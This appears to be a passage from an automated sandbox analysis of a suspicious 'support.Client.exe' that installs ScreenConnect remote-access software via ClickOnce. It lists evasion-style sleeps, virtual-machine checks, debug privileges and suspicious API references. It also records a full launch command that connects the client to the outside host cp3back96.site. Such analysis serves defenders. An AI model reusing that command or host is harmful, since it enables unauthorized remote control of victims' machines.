Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -599081s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -598953s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -598841s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -598725s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -598617s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -598506s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -598379s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -598251s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -598126s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -597998s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -597886s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -597774s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -597663s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -597551s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -597423s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -597295s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -597184s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -597072s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -596960s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -596848s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -596721s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -596593s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -596482s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -596370s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -596258s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -596147s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -596035s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -595907s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -595796s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -595684s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -595573s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -595461s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -595349s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -595221s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -595095s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -594968s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -594856s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -594744s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -594632s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -594520s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7736 Thread sleep time: -594392s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe TID: 1228 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe TID: 780 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe TID: 7376 Thread sleep time: -922337203685477s >= -30000s
Queries disk information (often used to detect virtual machines)
Source: C:\Windows\System32\svchost.exe File opened: PhysicalDrive0 Jump to behavior
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_BIOS
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_ComputerSystem
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe File Volume queried: C:\Windows\System32 FullSizeInformation Jump to behavior
Source: C:\Users\user\Downloads\support.Client.exe Thread delayed: delay time: 40000 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599874 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599766 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599654 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599542 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599432 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599320 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599209 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599081 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 598953 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 598841 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 598725 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 598617 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 598506 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 598379 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 598251 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 598126 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597998 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597886 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597774 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597663 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597551 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597423 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597295 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597184 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597072 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596960 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596848 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596721 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596593 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596482 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596370 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596258 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596147 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596035 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595907 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595796 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595684 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595573 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595461 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595349 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595221 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595095 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594968 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594856 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594744 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594632 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594520 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594392 Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File opened: C:\Users\user\AppData\Local\Apps\2.0\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File opened: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File opened: C:\Users\user\AppData\Local\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File opened: C:\Users\user\AppData\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File opened: C:\Users\user\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File opened: C:\Users\user\AppData\Local\Apps\ Jump to behavior
Source: ScreenConnect.ClientService.exe, 00000013.00000002.2403914597.00000000012CD000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllW
Source: svchost.exe, 00000004.00000002.2412623067.00000227B8E62000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW(c
Source: svchost.exe, 00000009.00000002.2406431788.0000022170465000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: $@SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: dfsvc.exe, 0000000E.00000002.2367830615.00000212BEF7E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000009.00000002.2405331292.000002217042B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: (@\??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000009.00000002.2407337158.0000022170490000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: "@\\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000004.00000002.2407570348.00000227B7827000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.2413049971.00000227B8E69000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2368068234.00000212BEFF0000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2366106744.00000212BEE92000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.2404460863.000002217040B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
Source: svchost.exe, 00000009.00000002.2407337158.0000022170490000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: (@\\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000009.00000002.2407525579.0000022170502000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000009.00000002.2406431788.0000022170485000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b
Source: dfsvc.exe, 0000000E.00000002.2359951085.00000212BB938000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW@
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Process information queried: ProcessInformation
Enables debug privileges
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Process token adjusted: Debug
Launches processes in debugging mode, may be used to hinder debugging
Source: C:\Users\user\Downloads\support.Client.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
.NET source code references suspicious native API functions
Source: ScreenConnect.ClientService.dll.14.dr, ClientService.cs Reference to suspicious API methods: WindowsExtensions.OpenProcess(processID, (ProcessAccess)33554432)
Source: ScreenConnect.Windows.dll.14.dr, WindowsMemoryNativeLibrary.cs Reference to suspicious API methods: WindowsNative.VirtualAlloc(attemptImageBase, dwSize, WindowsNative.MEM.MEM_COMMIT | WindowsNative.MEM.MEM_RESERVE, WindowsNative.PAGE.PAGE_READWRITE)
Source: ScreenConnect.Windows.dll.14.dr, WindowsMemoryNativeLibrary.cs Reference to suspicious API methods: WindowsNative.LoadLibrary(loadedImageBase + ptr[i].Name)
Source: ScreenConnect.Windows.dll.14.dr, WindowsMemoryNativeLibrary.cs Reference to suspicious API methods: WindowsNative.GetProcAddress(intPtr, ptr5)
Source: ScreenConnect.Windows.dll.14.dr, WindowsMemoryNativeLibrary.cs Reference to suspicious API methods: WindowsNative.VirtualProtect(loadedImageBase + sectionHeaders[i].VirtualAddress, (IntPtr)num, flNewProtect, &pAGE)
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe "C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe "C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=cp3back96.site&p=8041&s=5999b697-2fc8-47f6-a1dc-4d0d274c363e&k=BgIAAACkAABSU0ExAAgAAAEAAQB9zMUOcnsRaC12buOM5jB%2f0aQdWfMpUKDaWi13yRXoM16W00nLl4p0ZtEhANoxvmcw0wWFEBncKj1h1Sizr06d2epn5Y1la%2fZuAUNQxVB6zV6MkV%2fQ3PQ8O4IKEUzM%2b1uTT6bVi8cjhVOM7wlYYJcudQAB6Dwlh4JaUc5YEBvhT8MaZnAIYPqnbmxNwUw1RDlaRh5YJbZGPTJPIJpusdEO4D%2fCUtP6CZ%2f6LBYCi1k6apr4NFJdoCsgYMmz0ueWApW6fnSWePa0E3G6vxJQsjXUZXU7nn2pC9y84o5L0uqvKTZ239UPNomZv8wnSyaubzULL%2b48fuhT%2fYi9ukTBmorR&r=&i=Untitled%20Session" "1"
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe "c:\users\user\appdata\local\apps\2.0\pbjp0lvb.vxd\ezccovkw.h6b\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\screenconnect.clientservice.exe" "?e=support&y=guest&h=cp3back96.site&p=8041&s=5999b697-2fc8-47f6-a1dc-4d0d274c363e&k=bgiaaackaabsu0exaagaaaeaaqb9zmuocnsrac12buom5jb%2f0aqdwfmpukdawi13yrxom16w00nll4p0ztehanoxvmcw0wwfebnckj1h1sizr06d2epn5y1la%2fzuaunqxvb6zv6mkv%2fq3pq8o4ikeuzm%2b1utt6bvi8cjhvom7wlyyjcudqab6dwlh4jauc5yebvht8maznaiypqnbmxnwuw1rdlarh5yjbzgptjpijpusdeo4d%2fcutp6cz%2f6lbyci1k6apr4nfjdocsgymmz0uewapw6fnswepa0e3g6vxjqsjxuzxu7nn2pc9y84o5l0uqvktz239upnomzv8wnsyaubzull%2b48fuht%2fyi9uktbmorr&r=&i=untitled%20session" "1"
Source: unknown Process created: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe "c:\users\user\appdata\local\apps\2.0\pbjp0lvb.vxd\ezccovkw.h6b\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\screenconnect.clientservice.exe" "?e=support&y=guest&h=cp3back96.site&p=8041&s=5999b697-2fc8-47f6-a1dc-4d0d274c363e&k=bgiaaackaabsu0exaagaaaeaaqb9zmuocnsrac12buom5jb%2f0aqdwfmpukdawi13yrxom16w00nll4p0ztehanoxvmcw0wwfebnckj1h1sizr06d2epn5y1la%2fzuaunqxvb6zv6mkv%2fq3pq8o4ikeuzm%2b1utt6bvi8cjhvom7wlyyjcudqab6dwlh4jauc5yebvht8maznaiypqnbmxnwuw1rdlarh5yjbzgptjpijpusdeo4d%2fcutp6cz%2f6lbyci1k6apr4nfjdocsgymmz0uewapw6fnswepa0e3g6vxjqsjxuzxu7nn2pc9y84o5l0uqvktz239upnomzv8wnsyaubzull%2b48fuht%2fyi9uktbmorr&r=&i=untitled%20session" "1"
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe "c:\users\user\appdata\local\apps\2.0\pbjp0lvb.vxd\ezccovkw.h6b\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\screenconnect.clientservice.exe" "?e=support&y=guest&h=cp3back96.site&p=8041&s=5999b697-2fc8-47f6-a1dc-4d0d274c363e&k=bgiaaackaabsu0exaagaaaeaaqb9zmuocnsrac12buom5jb%2f0aqdwfmpukdawi13yrxom16w00nll4p0ztehanoxvmcw0wwfebnckj1h1sizr06d2epn5y1la%2fzuaunqxvb6zv6mkv%2fq3pq8o4ikeuzm%2b1utt6bvi8cjhvom7wlyyjcudqab6dwlh4jauc5yebvht8maznaiypqnbmxnwuw1rdlarh5yjbzgptjpijpusdeo4d%2fcutp6cz%2f6lbyci1k6apr4nfjdocsgymmz0uewapw6fnswepa0e3g6vxjqsjxuzxu7nn2pc9y84o5l0uqvktz239upnomzv8wnsyaubzull%2b48fuht%2fyi9uktbmorr&r=&i=untitled%20session" "1"
Source: ScreenConnect.WindowsClient.exe, 00000011.00000000.1931309778.0000000000782000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.WindowsClient.exe0.14.dr, ScreenConnect.WindowsClient.exe.14.dr Binary or memory string: Progman
Source: ScreenConnect.WindowsClient.exe, 00000011.00000000.1931309778.0000000000782000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.WindowsClient.exe0.14.dr, ScreenConnect.WindowsClient.exe.14.dr Binary or memory string: Shell_TrayWnd-Shell_SecondaryTrayWnd%MsgrIMEWindowClass
Queries information about the installed CPU (vendor, model number etc)
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
